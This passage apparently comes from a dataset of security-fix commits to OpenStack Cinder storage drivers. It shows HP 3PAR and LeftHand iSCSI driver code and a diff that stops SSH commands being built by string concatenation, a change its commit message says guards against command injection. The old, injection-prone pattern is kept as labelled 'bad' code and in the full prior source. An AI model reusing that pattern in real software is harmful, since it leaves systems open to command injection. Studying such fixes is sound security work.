_('At least one valid iSCSI IP address must be set.')\n raise exception.InvalidInput(reason=(msg))\n\n self.common.do_setup(context)\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n self._check_flags()\n\n @utils.synchronized('3par', external=True)\n def create_volume(self, volume):\n self.common.client_login()\n metadata = self.common.create_volume(volume)\n self.common.client_logout()\n\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Clone an existing volume.\"\"\"\n self.common.client_login()\n new_vol = self.common.create_cloned_volume(volume, src_vref)\n self.common.client_logout()\n\n return {'metadata': new_vol}\n\n @utils.synchronized('3par', external=True)\n def delete_volume(self, volume):\n self.common.client_login()\n self.common.delete_volume(volume)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"\n Creates a volume from a snapshot.\n\n TODO: support using the size from the user.\n \"\"\"\n self.common.client_login()\n metadata = self.common.create_volume_from_snapshot(volume, snapshot)\n self.common.client_logout()\n return {'metadata': metadata}\n\n @utils.synchronized('3par', external=True)\n def create_snapshot(self, snapshot):\n self.common.client_login()\n self.common.create_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def delete_snapshot(self, snapshot):\n self.common.client_login()\n self.common.delete_snapshot(snapshot)\n self.common.client_logout()\n\n @utils.synchronized('3par', external=True)\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n Steps to export a volume on 3PAR\n * Get the 3PAR iSCSI iqn\n * Create a host on the 3par\n * create vlun on the 3par\n \"\"\"\n self.common.client_login()\n\n # we have to make sure we have a host\n host = self._create_host(volume, connector)\n\n # now that we have a host, create the VLUN\n vlun = self.common.create_vlun(volume, host)\n\n self.common.client_logout()\n\n iscsi_ip = self._get_iscsi_ip(host['name'])\n iscsi_ip_port = self.iscsi_ips[iscsi_ip]['ip_port']\n iscsi_target_iqn = self.iscsi_ips[iscsi_ip]['iqn']\n info = {'driver_volume_type': 'iscsi',\n 'data': {'target_portal': \"%s:%s\" %\n (iscsi_ip, iscsi_ip_port),\n 'target_iqn': iscsi_target_iqn,\n 'target_lun': vlun['lun'],\n 'target_discovered': True\n }\n }\n return info\n\n @utils.synchronized('3par', external=True)\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Driver entry point to unattach a volume from an instance.\"\"\"\n self.common.client_login()\n self.common.terminate_connection(volume,\n connector['host'],\n connector['initiator'])\n self.common.client_logout()\n\n def _create_3par_iscsi_host(self, hostname, iscsi_iqn, domain, persona_id):\n \"\"\"Create a 3PAR host.\n\n Create a 3PAR host, if there is already a host on the 3par using\n the same iqn but with a different hostname, return the hostname\n used by 3PAR.\n \"\"\"\n cmd = 'createhost -iscsi -persona %s -domain %s %s %s' % \\\n (persona_id, domain, hostname, iscsi_iqn)\n out = self.common._cli_run(cmd, None)\n if out and len(out) > 1:\n return self.common.parse_create_host_error(hostname, out)\n return hostname\n\n def _modify_3par_iscsi_host(self, hostname, iscsi_iqn):\n # when using -add, you can not send the persona or domain options\n self.common._cli_run('createhost -iscsi -add %s %s'\n % (hostname, iscsi_iqn), None)\n\n def _create_host(self, volume, connector):\n \"\"\"Creates or modifies existing 3PAR host.\"\"\"\n # make sure we don't have the host already\n host = None\n hostname = self.common._safe_hostname(connector['host'])\n cpg = self.common.get_cpg(volume, allowSnap=True)\n domain = self.common.get_domain(cpg)\n try:\n host = self.common._get_3par_host(hostname)\n if not host['iSCSIPaths']:\n self._modify_3par_iscsi_host(hostname, connector['initiator'])\n host = self.common._get_3par_host(hostname)\n except hpexceptions.HTTPNotFound:\n # get persona from the volume type extra specs\n persona_id = self.common.get_persona_type(volume)\n # host doesn't exist, we have to create it\n hostname = self._create_3par_iscsi_host(hostname,\n connector['initiator'],\n domain,\n persona_id)\n host = self.common._get_3par_host(hostname)\n\n return host\n\n @utils.synchronized('3par', external=True)\n def create_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def ensure_export(self, context, volume):\n pass\n\n @utils.synchronized('3par', external=True)\n def remove_export(self, context, volume):\n pass\n\n def _get_iscsi_ip(self, hostname):\n \"\"\"Get an iSCSI IP address to use.\n\n Steps to determine which IP address to use.\n * If only one IP address, return it\n * If there is an active vlun, return the IP associated with it\n * Return IP with fewest active vluns\n \"\"\"\n if len(self.iscsi_ips) == 1:\n return self.iscsi_ips.keys()[0]\n\n # if we currently have an active port, use it\n nsp = self._get_active_nsp(hostname)\n\n if nsp is None:\n # no active vlun, find least busy port\n nsp = self._get_least_used_nsp(self._get_iscsi_nsps())\n if nsp is None:\n msg = _(\"Least busy iSCSI port not found, \"\n \"using first iSCSI port in list.\")\n LOG.warn(msg)\n return self.iscsi_ips.keys()[0]\n\n return self._get_ip_using_nsp(nsp)\n\n def _get_iscsi_nsps(self):\n \"\"\"Return the list of candidate nsps.\"\"\"\n nsps = []\n for value in self.iscsi_ips.values():\n nsps.append(value['nsp'])\n return nsps\n\n def _get_ip_using_nsp(self, nsp):\n \"\"\"Return IP assiciated with given nsp.\"\"\"\n for (key, value) in self.iscsi_ips.items():\n if value['nsp'] == nsp:\n return key\n\n def _get_active_nsp(self, hostname):\n \"\"\"Return the active nsp, if one exists, for the given host.\"\"\"\n result = self.common._cli_run('showvlun -a -host %s' % hostname, None)\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n info = line.split(\",\")\n if info and len(info) > 4:\n return info[4]\n\n def _get_least_used_nsp(self, nspss):\n \"\"\"\"Return the nsp that has the fewest active vluns.\"\"\"\n # return only the nsp (node:server:port)\n result = self.common._cli_run('showvlun -a -showcols Port', None)\n\n # count the number of nsps (there is 1 for each active vlun)\n nsp_counts = {}\n for nsp in nspss:\n # initialize counts to zero\n nsp_counts[nsp] = 0\n\n current_least_used_nsp = None\n if result:\n # first line is header\n result = result[1:]\n for line in result:\n nsp = line.strip()\n if nsp in nsp_counts:\n nsp_counts[nsp] = nsp_counts[nsp] + 1\n\n # identify key (nsp) of least used nsp\n current_smallest_count = sys.maxint\n for (nsp, count) in nsp_counts.iteritems():\n if count < current_smallest_count:\n current_least_used_nsp = nsp\n current_smallest_count = count\n\n return current_least_used_nsp\n\n def extend_volume(self, volume, new_size):\n self.common.extend_volume(volume, new_size)\n"}, "/cinder/volume/drivers/san/hp_lefthand.py": {"changes": [{"diff": "\n \n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n- cliq_arg_strings = []\n+ cmd_list = [verb]\n for k, v in cliq_args.items():\n- cliq_arg_strings.append(\" %s=%s\" % (k, v))\n- cmd = verb + ''.join(cliq_arg_strings)\n+ cmd_list.append(\"%s=%s\" % (k, v))\n \n- return self._run_ssh(cmd, check_exit_code)\n+ return self._run_ssh(cmd_list, check_exit_code)\n \n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n", "add": 3, "remove": 4, "filename": "/cinder/volume/drivers/san/hp_lefthand.py", "badparts": [" cliq_arg_strings = []", " cliq_arg_strings.append(\" %s=%s\" % (k, v))", " cmd = verb + ''.join(cliq_arg_strings)", " return self._run_ssh(cmd, check_exit_code)"], "goodparts": [" cmd_list = [verb]", " cmd_list.append(\"%s=%s\" % (k, v))", " return self._run_ssh(cmd_list, check_exit_code)"]}], "source": "\n \"\"\" HP Lefthand SAN ISCSI Driver. The driver communicates to the backend aka Cliq via SSH to perform all the operations on the SAN. \"\"\" from lxml import etree from cinder import exception from cinder.openstack.common import log as logging from cinder.volume.drivers.san.san import SanISCSIDriver LOG=logging.getLogger(__name__) class HpSanISCSIDriver(SanISCSIDriver): \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes. We use the CLIQ interface, over SSH. Rough overview of CLIQ commands used: :createVolume: (creates the volume) :getVolumeInfo: (to discover the IQN etc) :getClusterInfo: (to discover the iSCSI target IP address) :assignVolumeChap: (exports it with CHAP security) The 'trick' here is that the HP SAN enforces security by default, so normally a volume mount would need both to configure the SAN in the volume layer and do the mount on the compute layer. Multi-layer operations are not catered for at the moment in the cinder architecture, so instead we share the volume using CHAP at volume creation time. Then the mount need only use those CHAP credentials, so can take place exclusively in the compute layer. \"\"\" device_stats={} def __init__(self, *args, **kwargs): super(HpSanISCSIDriver, self).__init__(*args, **kwargs) self.cluster_vip=None def _cliq_run(self, verb, cliq_args, check_exit_code=True): \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\" cliq_arg_strings=[] for k, v in cliq_args.items(): cliq_arg_strings.append(\" %s=%s\" %(k, v)) cmd=verb +''.join(cliq_arg_strings) return self._run_ssh(cmd, check_exit_code) def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True): \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\" cliq_args['output']='XML' (out, _err)=self._cliq_run(verb, cliq_args, check_cliq_result) LOG.debug(_(\"CLIQ command returned %s\"), out) result_xml=etree.fromstring(out) if check_cliq_result: response_node=result_xml.find(\"response\") if response_node is None: msg=(_(\"Malformed response to CLIQ command \" \"%(verb)s %(cliq_args)s. Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) result_code=response_node.attrib.get(\"result\") if result_code !=\"0\": msg=(_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \" \" Result=%(out)s\") % {'verb': verb, 'cliq_args': cliq_args, 'out': out}) raise exception.VolumeBackendAPIException(data=msg) return result_xml def _cliq_get_cluster_info(self, cluster_name): \"\"\"Queries for info about the cluster(including IP)\"\"\" cliq_args={} cliq_args['clusterName']=cluster_name cliq_args['searchDepth']='1' cliq_args['verbose']='0' result_xml=self._cliq_run_xml(\"getClusterInfo\", cliq_args) return result_xml def _cliq_get_cluster_vip(self, cluster_name): \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\" cluster_xml=self._cliq_get_cluster_info(cluster_name) vips=[] for vip in cluster_xml.findall(\"response/cluster/vip\"): vips.append(vip.attrib.get('ipAddress')) if len(vips)==1: return vips[0] _xml=etree.tostring(cluster_xml) msg=(_(\"Unexpected number of virtual ips for cluster \" \" %(cluster_name)s. Result=%(_xml)s\") % {'cluster_name': cluster_name, '_xml': _xml}) raise exception.VolumeBackendAPIException(data=msg) def _cliq_get_volume_info(self, volume_name): \"\"\"Gets the volume info, including IQN\"\"\" cliq_args={} cliq_args['volumeName']=volume_name result_xml=self._cliq_run_xml(\"getVolumeInfo\", cliq_args) volume_attributes={} volume_node=result_xml.find(\"response/volume\") for k, v in volume_node.attrib.items(): volume_attributes[\"volume.\" +k]=v status_node=volume_node.find(\"status\") if status_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"status.\" +k]=v permission_node=volume_node.find(\"permission\") if permission_node is not None: for k, v in status_node.attrib.items(): volume_attributes[\"permission.\" +k]=v LOG.debug(_(\"Volume info: %(volume_name)s=> %(volume_attributes)s\") % {'volume_name': volume_name, 'volume_attributes': volume_attributes}) return volume_attributes def create_volume(self, volume): \"\"\"Creates a volume.\"\"\" cliq_args={} cliq_args['clusterName']=self.configuration.san_clustername if self.configuration.san_thin_provision: cliq_args['thinProvision']='1' else: cliq_args['thinProvision']='0' cliq_args['volumeName']=volume['name'] if int(volume['size'])==0: cliq_args['size']='100MB' else: cliq_args['size']='%sGB' % volume['size'] self._cliq_run_xml(\"createVolume\", cliq_args) volume_info=self._cliq_get_volume_info(volume['name']) cluster_name=volume_info['volume.clusterName'] iscsi_iqn=volume_info['volume.iscsiIqn'] cluster_interface='1' if not self.cluster_vip: self.cluster_vip=self._cliq_get_cluster_vip(cluster_name) iscsi_portal=self.cluster_vip +\":3260,\" +cluster_interface model_update={} model_update['provider_location']=(\"%s %s %s\" % (iscsi_portal, iscsi_iqn, 0)) return model_update def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Creates a volume from a snapshot.\"\"\" raise NotImplementedError() def create_snapshot(self, snapshot): \"\"\"Creates a snapshot.\"\"\" raise NotImplementedError() def delete_volume(self, volume): \"\"\"Deletes a volume.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['prompt']='false' try: volume_info=self._cliq_get_volume_info(volume['name']) except exception.ProcessExecutionError: LOG.error(\"Volume did not exist. It will not be deleted\") return self._cliq_run_xml(\"deleteVolume\", cliq_args) def local_path(self, volume): msg=_(\"local_path not supported\") raise exception.VolumeBackendAPIException(data=msg) def initialize_connection(self, volume, connector): \"\"\"Assigns the volume to a server. Assign any created volume to a compute node/host so that it can be used from that host. HP VSA requires a volume to be assigned to a server. This driver returns a driver_volume_type of 'iscsi'. The format of the driver data is defined in _get_iscsi_properties. Example return value: { 'driver_volume_type': 'iscsi' 'data':{ 'target_discovered': True, 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001', 'target_protal': '127.0.0.1:3260', 'volume_id': 1, } } \"\"\" self._create_server(connector) cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"assignVolumeToServer\", cliq_args) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } def _create_server(self, connector): cliq_args={} cliq_args['serverName']=connector['host'] out=self._cliq_run_xml(\"getServerInfo\", cliq_args, False) response=out.find(\"response\") result=response.attrib.get(\"result\") if result !='0': cliq_args={} cliq_args['serverName']=connector['host'] cliq_args['initiator']=connector['initiator'] self._cliq_run_xml(\"createServer\", cliq_args) def terminate_connection(self, volume, connector, **kwargs): \"\"\"Unassign the volume from the host.\"\"\" cliq_args={} cliq_args['volumeName']=volume['name'] cliq_args['serverName']=connector['host'] self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args) def get_volume_stats(self, refresh): if refresh: self._update_backend_status() return self.device_stats def _update_backend_status(self): data={} backend_name=self.configuration.safe_get('volume_backend_name') data['volume_backend_name']=backend_name or self.__class__.__name__ data['driver_version']='1.0' data['reserved_percentage']=0 data['storage_protocol']='iSCSI' data['vendor_name']='Hewlett-Packard' result_xml=self._cliq_run_xml(\"getClusterInfo\",{}) cluster_node=result_xml.find(\"response/cluster\") total_capacity=cluster_node.attrib.get(\"spaceTotal\") free_capacity=cluster_node.attrib.get(\"unprovisionedSpace\") GB=1073741824 data['total_capacity_gb']=int(total_capacity) / GB data['free_capacity_gb']=int(free_capacity) / GB self.device_stats=data ", "sourceWithComments": "# Copyright 2012 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nHP Lefthand SAN ISCSI Driver.\n\nThe driver communicates to the backend aka Cliq via SSH to perform all the\noperations on the SAN.\n\"\"\"\nfrom lxml import etree\n\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.volume.drivers.san.san import SanISCSIDriver\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass HpSanISCSIDriver(SanISCSIDriver):\n \"\"\"Executes commands relating to HP/Lefthand SAN ISCSI volumes.\n\n We use the CLIQ interface, over SSH.\n\n Rough overview of CLIQ commands used:\n\n :createVolume: (creates the volume)\n\n :getVolumeInfo: (to discover the IQN etc)\n\n :getClusterInfo: (to discover the iSCSI target IP address)\n\n :assignVolumeChap: (exports it with CHAP security)\n\n The 'trick' here is that the HP SAN enforces security by default, so\n normally a volume mount would need both to configure the SAN in the volume\n layer and do the mount on the compute layer. Multi-layer operations are\n not catered for at the moment in the cinder architecture, so instead we\n share the volume using CHAP at volume creation time. Then the mount need\n only use those CHAP credentials, so can take place exclusively in the\n compute layer.\n \"\"\"\n\n device_stats = {}\n\n def __init__(self, *args, **kwargs):\n super(HpSanISCSIDriver, self).__init__(*args, **kwargs)\n self.cluster_vip = None\n\n def _cliq_run(self, verb, cliq_args, check_exit_code=True):\n \"\"\"Runs a CLIQ command over SSH, without doing any result parsing\"\"\"\n cliq_arg_strings = []\n for k, v in cliq_args.items():\n cliq_arg_strings.append(\" %s=%s\" % (k, v))\n cmd = verb + ''.join(cliq_arg_strings)\n\n return self._run_ssh(cmd, check_exit_code)\n\n def _cliq_run_xml(self, verb, cliq_args, check_cliq_result=True):\n \"\"\"Runs a CLIQ command over SSH, parsing and checking the output\"\"\"\n cliq_args['output'] = 'XML'\n (out, _err) = self._cliq_run(verb, cliq_args, check_cliq_result)\n\n LOG.debug(_(\"CLIQ command returned %s\"), out)\n\n result_xml = etree.fromstring(out)\n if check_cliq_result:\n response_node = result_xml.find(\"response\")\n if response_node is None:\n msg = (_(\"Malformed response to CLIQ command \"\n \"%(verb)s %(cliq_args)s. Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n result_code = response_node.attrib.get(\"result\")\n\n if result_code != \"0\":\n msg = (_(\"Error running CLIQ command %(verb)s %(cliq_args)s. \"\n \" Result=%(out)s\") %\n {'verb': verb, 'cliq_args': cliq_args, 'out': out})\n raise exception.VolumeBackendAPIException(data=msg)\n\n return result_xml\n\n def _cliq_get_cluster_info(self, cluster_name):\n \"\"\"Queries for info about the cluster (including IP)\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = cluster_name\n cliq_args['searchDepth'] = '1'\n cliq_args['verbose'] = '0'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", cliq_args)\n\n return result_xml\n\n def _cliq_get_cluster_vip(self, cluster_name):\n \"\"\"Gets the IP on which a cluster shares iSCSI volumes\"\"\"\n cluster_xml = self._cliq_get_cluster_info(cluster_name)\n\n vips = []\n for vip in cluster_xml.findall(\"response/cluster/vip\"):\n vips.append(vip.attrib.get('ipAddress'))\n\n if len(vips) == 1:\n return vips[0]\n\n _xml = etree.tostring(cluster_xml)\n msg = (_(\"Unexpected number of virtual ips for cluster \"\n \" %(cluster_name)s. Result=%(_xml)s\") %\n {'cluster_name': cluster_name, '_xml': _xml})\n raise exception.VolumeBackendAPIException(data=msg)\n\n def _cliq_get_volume_info(self, volume_name):\n \"\"\"Gets the volume info, including IQN\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume_name\n result_xml = self._cliq_run_xml(\"getVolumeInfo\", cliq_args)\n\n # Result looks like this:\n #\n # \n # \n # \n # \n # \n # \n #\n\n # Flatten the nodes into a dictionary; use prefixes to avoid collisions\n volume_attributes = {}\n\n volume_node = result_xml.find(\"response/volume\")\n for k, v in volume_node.attrib.items():\n volume_attributes[\"volume.\" + k] = v\n\n status_node = volume_node.find(\"status\")\n if status_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"status.\" + k] = v\n\n # We only consider the first permission node\n permission_node = volume_node.find(\"permission\")\n if permission_node is not None:\n for k, v in status_node.attrib.items():\n volume_attributes[\"permission.\" + k] = v\n\n LOG.debug(_(\"Volume info: %(volume_name)s => %(volume_attributes)s\") %\n {'volume_name': volume_name,\n 'volume_attributes': volume_attributes})\n return volume_attributes\n\n def create_volume(self, volume):\n \"\"\"Creates a volume.\"\"\"\n cliq_args = {}\n cliq_args['clusterName'] = self.configuration.san_clustername\n\n if self.configuration.san_thin_provision:\n cliq_args['thinProvision'] = '1'\n else:\n cliq_args['thinProvision'] = '0'\n\n cliq_args['volumeName'] = volume['name']\n if int(volume['size']) == 0:\n cliq_args['size'] = '100MB'\n else:\n cliq_args['size'] = '%sGB' % volume['size']\n\n self._cliq_run_xml(\"createVolume\", cliq_args)\n\n volume_info = self._cliq_get_volume_info(volume['name'])\n cluster_name = volume_info['volume.clusterName']\n iscsi_iqn = volume_info['volume.iscsiIqn']\n\n #TODO(justinsb): Is this always 1? Does it matter?\n cluster_interface = '1'\n\n if not self.cluster_vip:\n self.cluster_vip = self._cliq_get_cluster_vip(cluster_name)\n iscsi_portal = self.cluster_vip + \":3260,\" + cluster_interface\n\n model_update = {}\n\n # NOTE(jdg): LH volumes always at lun 0 ?\n model_update['provider_location'] = (\"%s %s %s\" %\n (iscsi_portal,\n iscsi_iqn,\n 0))\n\n return model_update\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Creates a volume from a snapshot.\"\"\"\n raise NotImplementedError()\n\n def create_snapshot(self, snapshot):\n \"\"\"Creates a snapshot.\"\"\"\n raise NotImplementedError()\n\n def delete_volume(self, volume):\n \"\"\"Deletes a volume.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['prompt'] = 'false' # Don't confirm\n try:\n volume_info = self._cliq_get_volume_info(volume['name'])\n except exception.ProcessExecutionError:\n LOG.error(\"Volume did not exist. It will not be deleted\")\n return\n self._cliq_run_xml(\"deleteVolume\", cliq_args)\n\n def local_path(self, volume):\n msg = _(\"local_path not supported\")\n raise exception.VolumeBackendAPIException(data=msg)\n\n def initialize_connection(self, volume, connector):\n \"\"\"Assigns the volume to a server.\n\n Assign any created volume to a compute node/host so that it can be\n used from that host. HP VSA requires a volume to be assigned\n to a server.\n\n This driver returns a driver_volume_type of 'iscsi'.\n The format of the driver data is defined in _get_iscsi_properties.\n Example return value:\n\n {\n 'driver_volume_type': 'iscsi'\n 'data': {\n 'target_discovered': True,\n 'target_iqn': 'iqn.2010-10.org.openstack:volume-00000001',\n 'target_protal': '127.0.0.1:3260',\n 'volume_id': 1,\n }\n }\n\n \"\"\"\n self._create_server(connector)\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"assignVolumeToServer\", cliq_args)\n\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n\n def _create_server(self, connector):\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n out = self._cliq_run_xml(\"getServerInfo\", cliq_args, False)\n response = out.find(\"response\")\n result = response.attrib.get(\"result\")\n if result != '0':\n cliq_args = {}\n cliq_args['serverName'] = connector['host']\n cliq_args['initiator'] = connector['initiator']\n self._cliq_run_xml(\"createServer\", cliq_args)\n\n def terminate_connection(self, volume, connector, **kwargs):\n \"\"\"Unassign the volume from the host.\"\"\"\n cliq_args = {}\n cliq_args['volumeName'] = volume['name']\n cliq_args['serverName'] = connector['host']\n self._cliq_run_xml(\"unassignVolumeToServer\", cliq_args)\n\n def get_volume_stats(self, refresh):\n if refresh:\n self._update_backend_status()\n\n return self.device_stats\n\n def _update_backend_status(self):\n data = {}\n backend_name = self.configuration.safe_get('volume_backend_name')\n data['volume_backend_name'] = backend_name or self.__class__.__name__\n data['driver_version'] = '1.0'\n data['reserved_percentage'] = 0\n data['storage_protocol'] = 'iSCSI'\n data['vendor_name'] = 'Hewlett-Packard'\n\n result_xml = self._cliq_run_xml(\"getClusterInfo\", {})\n cluster_node = result_xml.find(\"response/cluster\")\n total_capacity = cluster_node.attrib.get(\"spaceTotal\")\n free_capacity = cluster_node.attrib.get(\"unprovisionedSpace\")\n GB = 1073741824\n\n data['total_capacity_gb'] = int(total_capacity) / GB\n data['free_capacity_gb'] = int(free_capacity) / GB\n self.device_stats = data\n"}}, "msg": "Tidy up the SSH call to avoid injection attacks for HP's driver\n\nLet the command and arguments form up a list and avoid the extra arguments\nattackers inserted to the command string.\n\nAnd modify the interface of _cli_run, there is no need for a extra argument.\n\nfix bug 1192971\nChange-Id: Iff6a3ecb64feccae1b29164117576cab9943200a"}, "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e": {"url": "https://api.github.com/repos/thatsdone/cinder/commits/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "html_url": "https://github.com/thatsdone/cinder/commit/9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "sha": "9e858bebb89de05b1c9ecc27f5bd9fbff95a728e", "keyword": "command injection check", "diff": "diff --git a/cinder/tests/test_eqlx.py b/cinder/tests/test_eqlx.py\nindex 61f9dc32b..ac815e191 100644\n--- a/cinder/tests/test_eqlx.py\n+++ b/cinder/tests/test_eqlx.py\n@@ -187,7 +187,7 @@ def test_initialize_connection(self):\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\ndiff --git a/cinder/volume/drivers/eqlx.py b/cinder/volume/drivers/eqlx.py\nindex b5e7fa4f2..e86c11092 100644\n--- a/cinder/volume/drivers/eqlx.py\n+++ b/cinder/volume/drivers/eqlx.py\n@@ -392,7 +392,7 @@ def initialize_connection(self, volume, connector):\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "message": "", "files": {"/cinder/tests/test_eqlx.py": {"changes": [{"diff": "\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()", "add": 1, "remove": 1, "filename": "/cinder/tests/test_eqlx.py", "badparts": [" 'authmethod chap',"], "goodparts": [" 'authmethod', 'chap',"]}], "source": "\n import time import mox import paramiko from cinder import context from cinder import exception from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import test from cinder.volume import configuration as conf from cinder.volume.drivers import eqlx LOG=logging.getLogger(__name__) class DellEQLSanISCSIDriverTestCase(test.TestCase): def setUp(self): super(DellEQLSanISCSIDriverTestCase, self).setUp() self.configuration=mox.MockObject(conf.Configuration) self.configuration.append_config_values(mox.IgnoreArg()) self.configuration.san_is_local=False self.configuration.san_ip=\"10.0.0.1\" self.configuration.san_login=\"foo\" self.configuration.san_password=\"bar\" self.configuration.san_ssh_port=16022 self.configuration.san_thin_provision=True self.configuration.eqlx_pool='non-default' self.configuration.eqlx_use_chap=True self.configuration.eqlx_group_name='group-0' self.configuration.eqlx_cli_timeout=30 self.configuration.eqlx_cli_max_retries=5 self.configuration.eqlx_chap_login='admin' self.configuration.eqlx_chap_password='password' self.configuration.volume_name_template='volume_%s' self._context=context.get_admin_context() self.driver=eqlx.DellEQLSanISCSIDriver( configuration=self.configuration) self.volume_name=\"fakevolume\" self.volid=\"fakeid\" self.connector={'ip': '10.0.0.2', 'initiator': 'iqn.1993-08.org.debian:01:222', 'host': 'fakehost'} self.fake_iqn='iqn.2003-10.com.equallogic:group01:25366:fakev' self.driver._group_ip='10.0.1.6' self.properties={ 'target_discoverd': True, 'target_portal': '%s:3260' % self.driver._group_ip, 'target_iqn': self.fake_iqn, 'volume_id': 1} self._model_update={ 'provider_location': \"%s:3260,1 %s 0\" %(self.driver._group_ip, self.fake_iqn), 'provider_auth': 'CHAP %s %s' %( self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) } def _fake_get_iscsi_properties(self, volume): return self.properties def test_create_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'create', volume['name'], \"%sG\" %(volume['size']), 'pool', self.configuration.eqlx_pool, 'thin-provision').\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume(volume) self.assertEqual(model_update, self._model_update) def test_delete_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.driver._eql_execute('volume', 'select', volume['name'], 'offline') self.driver._eql_execute('volume', 'delete', volume['name']) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_delete_absent_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1, 'id': self.volid} self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\ AndRaise(processutils.ProcessExecutionError( stdout='% Error..... does not exist.\\n')) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_ensure_export(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.mox.ReplayAll() self.driver.ensure_export({}, volume) def test_create_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} snap_name='fake_snap_name' self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now').\\ AndReturn(['Snapshot name is %s' % snap_name]) self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) self.mox.ReplayAll() self.driver.create_snapshot(snapshot) def test_create_volume_from_snapshot(self): 